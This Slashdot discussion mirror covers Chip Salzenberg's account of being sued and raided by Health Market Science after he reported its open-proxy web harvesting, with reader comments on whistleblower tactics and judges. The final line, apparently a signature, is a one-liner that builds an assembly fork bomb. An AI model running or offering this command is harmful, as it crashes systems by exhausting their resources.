Slashdot Mirror
Perl's Chip Salzenberg Sued, Home Raided
Chip continues: "The key evidence in the search warrant was so ridiculous as to be surreal: CVS logs indicating that I downloaded more than I uploaded, and that I sometimes accessed the company network from home. Apparently, for company management, the police, and a judge, working at home through a gateway the company set up for that very purpose, and refraining from editing every source file for every code change, is a sign of nefarious behavior.
My behavior in accessing the company network was entirely within my job description and in no way involved misappropriation of anything. For the more than two years that I worked at HMS, I used ssh and CVS to access company files with my laptop both from work and home, with management knowledge and approval.
What would lead management to such a sudden action? Days beforehand, I had made an internal report of unethical and apparently illegal behavior by the company: Use of open proxies for web harvesting to avoid blockage by web site operators. HMS apparently decided that working with me to address their use of open proxies was not an option.
Health Market Science is a large corporation with, compared to me, effectively infinite resources. My legal bills have topped $40K already over just two months. If HMS succeeds in tarring me with their false accusations, what's to stop your employer or client from doing the same to you, should your relationship sour?
Friends have set up GeeksUnite.net, an informational web site and Legal Defense Fund. The site includes the search warrant, my letter about open proxy abuse, and court documents.
Please contribute to my Defense Fund to fight this attack on the normal and legal work practices of millions of tech workers. Every little bit counts! If every person who visits the site contributes only ten dollars, that will make a huge difference. Only through community effort can we protect ourselves."
If his version of events is true, then wouldn't there exist whistleblower protection laws he can seek refuge under?
Any time you're going to be challenging the mental giants that are in charge, ALWAYS have a lawyer in your pocket and all your ducks in a row. And offsite backups.
Seriously, what the hell did he expect - if they can use open proxies like this, that they would play nice with him?
Retain, and have a very long chat with a very good lawyer before you threaten your bosses with police action.
News for Nerds. Stuff that Matters? Like hell.
You should take your original letter to the police who raided you. Hopefully they will then prosecute your employer for filing a false police report.
2) Working for obvious scumbags is going to burn you in the end.
(Assuming his version of the story is accurate -- I realize there's another side. I also realize that both of my suggestions are frequently easier said than done.)
What I'm listening to now on Pandora...
What did you think they were going to do, make you an SVP?
If it were me? Well, there would be a wide number of possible responses I could expect from the employer, but producing false information to police and courts to produce illegitimate legal action and have my private property unreasonably seized-- property which I may or may not ever see again once it disappears into the "evidence" system-- is not one of them.
Anyway if he had resigned how would it have helped him one iota? He'd still be facing a frivolous and expensive lawsuit and have all his stuff jacked.
Irritable, left-wing and possibly humorous bumper stickers and t-shirts
IANAL, and I know this varies by state, but this kind of retribution and harassment for filing a complaint may be very illegal, and the company may have opened themselves up to liability for it. I know reporters of sexual harassment or discrimination are protected from retribution, and it would be interesting to know what protection a whistleblower for unethical behavior has under state and federal laws.
Regardless, no one deserves this treatment for stating their beliefs the company is doing something wrong.
It's nothing but crumpled porno and Ayn Rand.
Yes but how is it that a judge or magistrate (I'm sure under intense pressure from the police department) will issue a search warrant without hard evidence of any illegal activity? Strongarm tactics like this are what is wrong with our judicial system today.
This is your tax dollars at work!
--
Fairfax Underground: Fairfax County and Northern Virginia message board
It's a lot easier to prove the company is acting maliciously against you if you:
1) Quit
2) Write your accusatory letter
order is important here.
Doubly true if you have to sign something styating you are retaining no confidential information when you leave.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
There is still hope for the legal system. Title VII, the FLSA, and I believe all state laws have anti-retaliation language that protects you. Go to your local attorney general's office and see what you can do.
However, as others have said, if you do all of the above and management still does nothing -- get out! The best that can happen is you get a small blurb in the WSJ and worst case is that you'll be forever branded a snitch.
This is my digital signature. 10011011001
When a company breaks laws due to commands by management, you don't report it to the same people who blessed the practice in the first place!
Accumulate evidence, assist law enforcement with an undercover investigation, and blow the whole place apart.
Based on the evidence at hand there was no probable cause for the search.
:-) or a nice juicy settlement favoring the plaintiff.
If he didn't keep any of the company's information, they likely have no case.
Crossing your fingers for summary judgment, a directed verdict
Pretty scary though that the judge would authorize grabbing all your equipment with no genuine evidence of theft/misappropriation of trade secrets. There ought to be a high bar set for the kind of disruption that causes. There's no reason discovery couldn't have been allowed to proceed in a less violent manner unless he wasn't cooperating.
So you drive the company into Ch 11 after a long, and protracted battle. Then what has he got to show for it? Exactly what he has now: jack + big lawyer bill.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
Timeline of Events
Please Contribute. Thank you for spending time on our site. It will be updated frequently. Please come back.
None of the views expressed in the website constitute the views of the Armstrong & Carosella PC law firm, or any
principals or employees, or agents or experts who have been retained in any capacity in connection with the case.
Information on this site is for educational purposes.
Case Caption: Health Market Science, Inc. v Charles H. Salzenberg, Jr..
Court of Common Pleas of Montgomery County, Pennsylvania. Case Number: 05-11918
Timeline of Events in Case
June 21, 2005
Intervener's Too Late? - DA Gives Away Computers Early. Company Already Imaging.
June 20, 2005
Emergency Stays Filed by All Parties - In an Attempt to Keep Property from falling into the Wrong Hands
June 17, 2005
Judge Awards Personal Property to Company - Admits to NOT Reading Salzenberg's Opposition.
June 16, 2005
Company Runs Interference - Files Motion to Intercept Released Computers Contrary to the May 2, Order and the "Return of Property" laws.
June 6, 2005
DA Drops Criminal Investigation - Annouces Return of the Seized Property to Salzenberg.
May 2, 2005
Company Agrees Not to Enforce Exparte Orders - Property to be Returned to Salzenberg unless another motion is filed.
April 26, 2005
Company files Exparte - Receives orders to intercept equipment from police to start imaging.
April 25, 2005
Salzenberg receives back dated letter from company "accepting his resignation"
April 21, 2005
Salenberg's Property Seized within hours of police report made by CEO.
April 20, 2005
Salzenberg and CEO exchange emails and faxes in an attempt to negotiate a face to face conversation. CEO finally gives the OK to Salzenberg bringing an attorney with him.
April 19, 2005
Salzenberg sends compliance letter to CEO. Salzenberg also sends follow up message to COO that he has "not resigned". CEO immediately locks Salzenberg out of company email and network.
April 18, 2005
Another employee leaves company after voicing compliance issues.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
I think you should check into SLAPP protection.
http://en.wikipedia.org/wiki/SLAPP
Heres the little secret, Judges do not like to read long legal briefs, if someone makes a case and references some case law, they might just get the warrent, action or restraining order.
Its a messed up country where the legal system is in a horrible state by lazy judges/commissioners that have to actually think the about the case. Whats worse, some are voted into office...
I think a legion of slashdot readers blasting these contact details and sending trollish e-mails will only worsen this guy's situation: "Then he got his legion of goons to come to his defence, causing massive problems with our e-mail infrastructure and bringing our website to a crawl, before this had even got to court." That cannot be good.
I would advise any slashdot readers considering trolling this e-mail address to think carefully about the implications their messages might have on this guy, and refrain from contacting HMS unless they have something worthwhile and appropriate to contribute.
Chip complained internally. That's allowed. That's ethical. He was giving his employers a chance to sort out a problem. The open proxy scam might have been in contravention of company policy.
Unlikely with hindsight, I'll grant.
OK, I'm missing your point, I know. I don't even disagree with your advice. All I'm saying is let's watch the terminology. A lot of people will thing "Whistleblower, pah! He had it coming!" when nothing is further from the truth. He got into this mess because he gave his employers the benefit of the doubt.
Don't let THEM immanentize the Eschaton!
Money and power are clinching their position in this country, and VERY rapidly. Combine the "Patriot" act with limiting freedom of the press to gutting of whistleblower laws to widespread corruption and add in a good dose of "liberal" bashing taking the form of "get tough on crime" and you get what we have.
Too late now, I'm afraid, and it will ge a *LOT* worse before getting any better.
What kind of mess have we left for our kids?
They got caught with their hand in the cookie jar and immediately attempted a smear campaign to draw attention away from themselves.
Further, on nothing more than the company's say-so, they got a search and seizure warrant from a judge who was obviously unfit for service by the very fact of his signing it. Actual investigation and evidence is required usually for this kind of thing and it seems to be a case of "he-said, got the warrant, screw what the other guy said" sort of thing. Having been the victim of this myself, I am not surprised. Saddened that it continues, but not surprised. People who love increasing the powers of the state for their political aims can just as quickly be the nail getting pounded down by that same state.
What is so shocking is that they think they will get away with it. All that are needed are logs from servers harvested by this scumbag outfit despite their attempts at a polite no through robots.txt, etc., and it will become a landslide against them with the first lawsuit for the intrusion.
If I had any money, I'd send some.
If my grammar and spelling are off, I am [distracted/tired/careless] (take your pick)
This has nothing to do with what the man did or did not do. I couldn't care less about that, frankly. I am concerned that the judge in this case appears technically illiterate and granted a search warrant on pretty damn flimsy "evidence". Any of us could get hit just as easily, and for even less reason. Good reason to maintain hidden offsite backups and to thoroughly encrypt anything important, that's for sure. Let them have your computers ... those are cheap nowadays. But if the evidence-handling types "lose" your data (as they often do after your hardware has been confiscated) you're screwed.
Law enforcement and the judiciary seem to have taken the approach that anyone who is knowledgeable about computers is suspect. I think that's largely due to ignorance: the majority of people (judges, cops, FBI guys, whoever) don't know squat about computing technology, and consequently lack the ability to make intelligent judgements about issues that involve it. That really needs to change, or more technojocks are going to end up on the wrong end of the stick.
Very good point. I'd give you my last mod point, but I've already posted here. I too encourage those who reply to show restraint.
I sent a short email (50 words or so) using the contact page that basically said "The guy was trying to help. Leave him alone." My point was to let them know people support Chip, not to aggravate them.
Where did I mention retaliation?
I did not suggest harassment, whech the judge would have problems with. I suggested reporting actual violations of the labor laws. Judges are generally in favor of reporting illegal activity.
And, pray tell, where is the blackmail? I have read this letter and it just states what HMS was doing and its being illegal. Asking the company to stop doing it, refusing to cooperate on it, and warning on telling the authorities amounts to blackmail now? I guess there's this hidden paragraph where he asks for money or some other compensation. When you find it, please tell me. Until then, your blackmail charge falls flat.
one comment about two... make sure it is to the DA and anonymous.
The thing is-- it is quite possible that nobody knows he was doing something wrong except for him.
I don't doubt the depiction of verifiable events (law suit, search warrant, letter sent) and they lead me to lean towards thinking he did nothing wrong. But I don't know. And I'm not dishing up my cash until I do.
The fact that he is well known just doesn't have much to do with it. I've been shocked by what people I know personally have done. I've never met this guy before in my life. That he is a skilled programmer tells me nothing about what is really going on.
It's hard to believe that's how Micronians are made. Why don't we see it right now by having you both kiss one another?
No, that's not how it's supposed to work. As an employee, loyal to the company, you are supposed to have internal recourse available to bring illegal activity to the attention of your seniors, and all the way up the chain if you direct supervisor won't listen. You are not supposed to have to go to the police, since a company should be capable of cleaning up its own act. Going to the police means that the normal channels of reporting issues have failed.
Everything I wrote there is how it works in ethical companies, meaning companies whose executives have laid out specific plans for remaining on the right side of the law. I don't care if you think that "most companies aren't like that". What that would mean is that "most companies deserve liquidation". If you can't at least have a plan for handling your own breaches of the law, and avoiding them in the future, then the company is not run in an ethical manner. Go ask someone with an MBA what kind of ethics class they had to take to get it. A company that doesn't have a plan for reporting issues about itself is derelict in its duties. All claims of impropriety leveled at such companies, including Chip's, have extra weight once they reach court.
Yeah, it'll be a while before they reach court.
If his complaints are true, then I sure as hell don't want to have anything to do with those companies. See? That's the reason that (ethical) companies need internal reporting mechanisms. If the CEO of an ethical company got wind of this behavior through internal channels, then they could correct it before I ever heard of it, and they wouldn't lose me as a customer, distributor, or business partner. That's what internal channels are for: protecting the company from itself.
Anyway, it's obvious from this that Chip's company doesn't have good internal reporting mechanisms. And that necessarily gives that company a strike against them to begin with. Or it should. We'll have to wait and see if it really does.
Playing pornographics games during the day is evil! Play at night!
How do you blackmail an employer by filing an internal memo that can be traced by anybody in management? Blackmail requires some basic form, what's the threat and what's the demand?
:)
It's more plausable that the company feared the files that would prove that they were breaking the law were copied on his home computers and made something up with their lawyers to get his computers for "imaging". He might or might not have been planning on going public, but their reaction is totally over the top. We'll see if any of the computers come back formatted.
) Human Kind Vs Human Creation
) It'd be interesting to see how many humans would survive to serve us.
Where did his letter say that? I just read the entire thing and do not recall any threat to disclose source code. He simply said that he looked at the source code, which as a Senior Programmer, he was authorized and verified that some of the claims he made in his internal letter were valid (ie; code doesn't use robots.txt, code culls current list of open relays from online databases, etc).
He said he could not work on an project he felt was violating the law.
As far as the company perspective, I have not seen it so I cannot comment. Personally, his internal memo was much too details for most executives to understand. He should have layed out his concerns at a high level. Actually, he should have first contacted the press and law enforcement.
Like others have noted, as I read his letter I could only think "Just what did he expect would happen if he delivered a letter like that to an employer that was knowingly involved in these activities?" The only thing more surprising than his naivete in giving them that letter was that I read all the way to the end only to find that was *not* a letter of resignation. If I received a letter in that tone from any of the people I manage, irrespective of specific content, I would assume I was reading a letter of (probably immediate) resignation.
That they are only out to screw him over seems pretty obvious, but his apparent lack of wordly understanding of these matters has given them every possible opportunity to do so. To anyone in a similar situation, my advice (as a manager, for whatever that may be worth), is to:
1) Prepare yourself financially to be unemployed;
2) Prepare your documentation of all allegations;
3) Make a backup set and put it in some secret offsite location that no one could reasonably either know about or get a search warrant for;
4a) Get a lawyer;
4b) Submit your letter of resignation, and don't say why. If pressed for an answer, just say you want to take some time off, then pursue other opportunities;
5) Finally, when you are no longer employed at that company, go to the police with your evidence.
The order of 4b and 5 could be reversed on advice of counsel, and if you want to move 4a up to, say, 1a, well, it's never too early to have a lawyer in a situation like that.
honestly, people- if your company's financial success is built on illegal behavior, and the guy who owns the majority of the company set it up to be that way, why would you think he's going to change anything just because you were bright enough to notice? The best you could hope for is that, when you try to blackmail him into splitting the profit with you, it's not just cheaper to have you killed.
Picture this: Vince Coll walks into Dutch Shultz's office.
I can understand why Chip had the moral problems that he did, but he sure picked a naive way to try and resolve them. There IS a federal whistleblower statute, so if he went to the Feds with his first letter he would have been legally protected from retaliatory action from his employer... but keeping your job after you've turned them in doesn't do you any good if the company's only revenue stream depends on illegal activities.
Humpty Dumpty was pushed.
The newspapers don't do the research on judges. For minor offices I go by endorsements. I can't even get endorsements for most judgeships. How is the average person supposed to get this information?
Threats? Where do you arm chair lawyers get this crap? He brought this to the attention of management through a memo and stated he would have nothing to do with it and report it to the authorities if it didn't stop. That is a threat? Next time someone does something illegal and you know about it, don't say a word. Then when that person gets caught you tell the authorities that you knew what the person was doing all the time but you didn't think it was any of their business. Then let you know what happens.
Spammer or not, how he is being treated is wrong.
I don't know about you, but I don't think morals should change simply because you don't like someone.
Certainly, if there is probably cause that he commited a crime, he should be investigated, and then prosecuted if the investigation bears out the initial suspicions, but that isn't what happened here. His home was searched and his property siezed, and *not* returned, based on him doing his damn job. It would be like your boss having you arrested for tresspassing, using your timecard that is punched for that day as evidence you tresspassed.
Just make DAMN sure it's legal in your state.
"Health Market Science"? They sound like peddlers of human flesh. Diseased flesh. They really do sound like the worst kind of sleazy scumbags, and that's just their name. Harvesting open relays and persecuting a whistleblower, and maybe even bribing a judge, all sound like the least of their crimes. If there were any justice, the local DA would accept Salzenberg's report as a criminal complaint, and call off the dogs. But of course there's no justice, or HMS' mere allegations would never be enough to threaten the security of this person's home, papers and effects.
--
make install -not war
Just because a few peoople within the company are doing somethings wrong is not a good reason for quitting. The last thing you should do is quit, ecspecially if you are determined to fix the problem. If you quit, the acts will look retaliatory.
Somebody is trying to tell untruths here. Salzenberg is not a spammer and he did not find out the company's harvesting procedures until he was employed there for a while. Stop telling lies to confuse people. Read the letter.
Uhmmm.
They were running through open proxies in order to avoid blocks set up to block their IP. They also were scanning for such proxies.
So, no they weren't planting trojans all over the place, they were just borrowing everyone else's machines (a jerky thing to do) to get past blocks set up to stop them from being jerks.
Then, when someone called them on it, they resorted to mafioso tactics to make life hard for that guy. To show him who's boss.
Yes. It's much easier than affording $40,000 (and climbing) legal bills.
If you don't think you might end up in the same place, then you aren't exhibiting much foresight.
I think we've pushed this "anyone can grow up to be president" thing too far.
The problem is... you'll decide it's too much trouble to get to the bottom of it and pass on a chance to help. Maybe I'm wrong, but apathy conveniently finds excuses to do nothing.
Seems to me that this might fall under the grounds of railroading, harassment, blackmail, or any number of other unethical items. Seems to me that, once the criminal charges are over (are there any?) he'll have the grounds to sue them for millions (not to mention potential legal reprecussions): for falsely representing evidence, for lying to cops, using the law to their own ends, ruining his name and reputation, for taking his property, and functionally preventing him from working (due to the legal charge). It might even direly impact his career in the future.
There isn't a single ethical computer science professional in the world (professors, lauded scientists, hell, even LW or LT) that wouldn't hesitate to come to his defense as an expert witness, I imagine.
~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
The problem isn't just sleezy company practices, sleezy CEO's, and sleezy attorneys. It's judges who don't read what's put before them, and if they do read and don't understand what's put before them, don't get enough information so that they have an understanding before they rule. I was tempted to write "bonehead judges," but that would have been hostile.
I've always been kind of hesitant to try something like this myself because I get the feeling that once I got my "gotcha" moment and saved my job, the rest of my days working there would be tainted by my having done this. I just get the feeling that I'd be treated poorly and the management would probably be searching hard for a way to get me fired cleanly. Did you have to put up with much crap after doing this? Maybe you have to weigh the pros and cons before doing this kind of thing.
Salzenberg was working for a company that started using some seriously shady practices. He did the legally appropriate thing, and brought it to the attention of upper management/officers. They went ballistic and pulled the plug on him insteas of the illegal activity. (what says that they already knew of the illegal activities?).
They then called the cops on hime and got them to sieze his compuers on the flimsiest of evidence.
Sometimes boldness is in fashion. Sometimes only the brave will be bold.
...they lead me to lean towards thinking he did nothing wrong. But I don't know. And I'm not dishing up my cash until I do.
The purpose of a legal defense is not to exonerate the guilty. It is to ensure a fair trial. Whether you believe he is guilty or innocent, or whether you don't know, makes no difference. He has the right to a fair trial. At present in the United States, that means having a lot of money to pay a competent lawyer.
TTFN
and report it to the authorities if it didn't stop. That is a threat?
Yes, that is a threat. By definition.
English. Learn it, love it.
Whenever I hear the word 'Innovation', I reach for my pistol.
For, who the good fortune to be able to vote AGAINST someone who would issue a warrant for the seizure of computer equipment based on the affadavit of someone who couldn't even use a word processor to edit the request (see for yourself! It's obviously copied from a drug-related case, with the drug parts CROSSED OUT), without any actual basis of suspicion other than one man's un-sworn complaint against another, the issuing judge is the Honorable Jeremy Blackburn. Remember that when his term is up. Unfortunately, I think his district is in Chester County (where the property was seized), not in Montgomery County (where Salzenberg works, and where I live), so I don't think I get to vote for him.
Hello! 1950 is calling and they want their business environment back.
In small companies and large budgets are constantly being revised. Publicly traded companies are just as bad if not worse than small companies as they are managed to their quarterly earnings, not to a yearly budget. Within departments projects get approved, disapproved and juggled regularly. Some other department goes over budget and your department pays. The company has a "hiring freeze" or, worse, layoffs.
Get real. Yah, everyone does a yearly budget but it is not a cast in stone contract and it's subject to revision at any time. Head count is constantly tweaked. I've worked, and managed, in large (yes, publicly traded) and small companies and I've seen it again and again and again.
You're not real clued in to how criminal investigations work, huh?
When the police find something "suspicious", you don't just say "oh, I have this perfectly plausible excuse which sounds highly improbable to technical incompetents like you" and walk away. Trust me, I know. I had to jump through some pretty ridiculous hoops with a detective once just to prove that it was not, in fact, uncommon for a brand-spanking new hard drive to appear "wiped".
The justice system is a misnomer. It's not a "justice" system, it's a "legal" system. Justice would imply that all parties are acting in an informed, responsible, and full-capacity manner, which is probably the sickest joke one could make about our incompetent, bungling court system.
Chip Salzenberg is fucked. You would be fucked if you tried to right off your little hidden system with that excuse, and you'd probably get charged for trying to interfere with the investigation and giving false information to the police if you used it.
Alito: A vote for Alito is a punch in the eye to put that bitch back in her place!
Yeah, but the people that say "we want to hire you", are not necessarily the ones who can say "I have the power to hire you"
Because most of those proxies are running without the machine owner's permission or even knowledge.
Article X: The powers not delegated... by the Constitution...are reserved...to the people
Wishing a company sued into oblivion for being unorganized is alittle harsh don't you think?
Interesting story though because I've had a similar experience looking for work. I drove 3.5 hrs to interview for a job. When I got there I interviewed with a couple people but they apologized because they forgot the guy I would work for was out for the day. They said he could do a phone interview Wed. Meanwhile I interviewed with another company. I called the first company Wed and they said he would call me Friday. I said OK. The second company made me an offer that was detailed and in the form of an offer letter which I can't say I've seen before. I was impressed. Yet, I wanted to give the other company a chance to play so I told them I would get back to them Monday. Friday came and Monday I accepted the second job. The first company called a couple days later to offer me a job and I told them I already accepted one.
I guess the point is, until they offer me a job there's no way for them to screw with me because I'm not waitin around for them to get organized.
Just like selling a house. You don't take your house off the market because someone promises to make an offer. You only take it off once you've accepted their offer.
|| The company's staff lawyers probably recommended a pre-emptive strike
BINGO... and of course, the typical slashdotter (and Chris) will begin by saying IANAL, and
then proceeding to act like one. Well... guess what... if you're not a lawyer, shut the **ck up
when it comes to dispensing legal advice (or an opinion smelling of legalese). Above all, do not
threaten others (especially others who have more wealth than you) with your armchair legal opinion.
I'm surprised that Chris is surprised about what happened, and about suddenly finding himself in a
position where it's costing him $20,000/month in startup legal fees. That's an expensive lesson.
When they kick in your front door,
How you gonna come?
With your hands on your head,
Or on the trigger of your gun?
--The Clash
I used to think of these scenarios in terms of 'in Soviet Russia'... but nowadays, my mental picture of someone getting their front door kicked in is situated usually right in the ol' US of A.
And nevermind terrorism, but in the name of fscking trade secrets and Copyright issues?
Seriously, what are people smoking (or not smoking) there, that you can put up with this?
In the past few years, I've heard so many things that make me afraid for the security of my person in the U.S. - even though my biggest crimes are only copying DVDs I rented so I can watch them later, and downloading software I don't own to test out from bittorrent - that I won't even make connecting flights through the U.S. anymore.
Yes this guy wrote a really stupid letter to his employers. But this justifies a total jackboot search and seizure of all his personal stuff, private letters, diaries, and the like? I would feel so violated.
Mod me troll if you like, but, assuming he is innocent of these fairly obviously fabricated accusations, what happened to him is a crime bordering on assault or rape.
And if this happened to me, and the perpetrators weren't thrown in jail, I'd be out shopping for ammunition^H^H^H^H^H writing my congressman.
I sure think it's time that people started making a REALLY BIG NOISE that accusation of intellectual property infringment brought by a wealthy corporation does not override basic human rights to personal security of the average citizen...
The problem with voting histories for members of congress, is that final bills that get voted on are very complex and often contain content that goes against the title and summary of the bill. You know that the person in question voted against the "Feed the Orphans Act of 2003", but you don't know why. Were they against feeding orphans? Or did someone amend the bill to include language to make it illegal to wear pink on Thursdays? There are so many bills that start off good, generate good buzz, do good things, and then either get gutted or have so much crap added into them before the final vote that they no longer do any good.
Well, I'm not a lawyer. But they perhaps might have told him any of these things (I don't know which):
"Take out these sentences, it sounds like you're threatening them."
"Resign first, make absolutely sure you have none of their information on your machines, then send this."
"Don't warn them, just contact the DA."
"Don't be a hero, just resign and keep your mouth shut."
"Make a statory declaration of the facts first, and give me a copy of the documents."
The company gets away with this behaviour because it's damn more powerfull than it's (ex)-employees. However, a company is nothing without its employees. Any sort of collective defence against this sort of behaviour is going to hurt the company like hell. I mean, ever heard of actually sticking up for eachother?
If you're too afraid of unions etc, just call it something else. Bottom line is that it's in the other workers self-interest to insure nothing like this happens ever again.
Individualism is all fine and all, but it kinda breaks down when a much larger individual comes along wanting to use you as a doormat.
"" How about taking the safety labels off everything, and let the stupidity-problem solve itself? """
If you have to put yourself up for election, you will be deciding cases with a view to what potential voters -- really, just people mobilised by issue organisations, given how uninterested the average member of public is about voting --might think. This is either playing to mob mentality, or playing to vested interest groups. Either way is a recipe for bad judging.
The whole point of judicial independence is that judges will only feel free to take courageous decisions, and to avoid knuckling under to the government in power at the time, in particular, if their jobs are secure. That is, they can't be fired, and they can't have their pay reduced so much that they have to quit. Having to be re-elected to office is very much a serious job insecurity.
I would hate to have any of my legal rights determined by a judge with an eye on the opinion polls, the lobbysists and the millions of dollars in the bank accounts of sleazy, smoke-filled backroom operators itching to replace them if they decide cases in a way of which they disapprove.
I know plenty of judges in a number of countries, and have been employed by one at a court. Invariably they are horrified by the system of election of judges. Basically: they cannot see how many elected judges would feel comfortable taking an unpopular decision. Unpopular decisions being ones that (i) are against the prevailing mob mentality at the time and (ii) invariably turn out to be correct when viewed after the event, when passion and emotion has cooled, and what is left is the objective facts.
We've seen what playing to voters does to politicians. Why inflict it upon the judges too -- who are usually the ones who have to keep the politicians in check?
Additional comment:
Note that outsourcing is the same kind of corruption as is thoroughly discussed in the book about corporate corruption mentioned above. Programmers in India can produce good work, that's not the issue.
The issue is that the corrupt corporate manager wants to put a distance between himself and managing programming. Managing programming is time-consuming and requires serious concern and considerable technical knowledge and teamwork. If the programming department remains inside the company, the corrupt manager will be responsible. If the programming is outsourced, a level of deniability is introduced.
That extra level of bureaucracy and distance has four results:
Many Americans don't want to know that their government has become corrupt, so you can expect hostile comments if you try to talk about corruption.
Many Michael Moore fans don't want to know that he's a lying bastard. So I'll expect hostile comments when I post this.
See, ad hominem attacks are not too helpful are they?
"Hey I'll just post my web page with my world view. If you agree then you're obviously a good person. If you disagree then it's because you don't want to know the truth, or have been paid off by big business, either way I don't need to listen to you"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;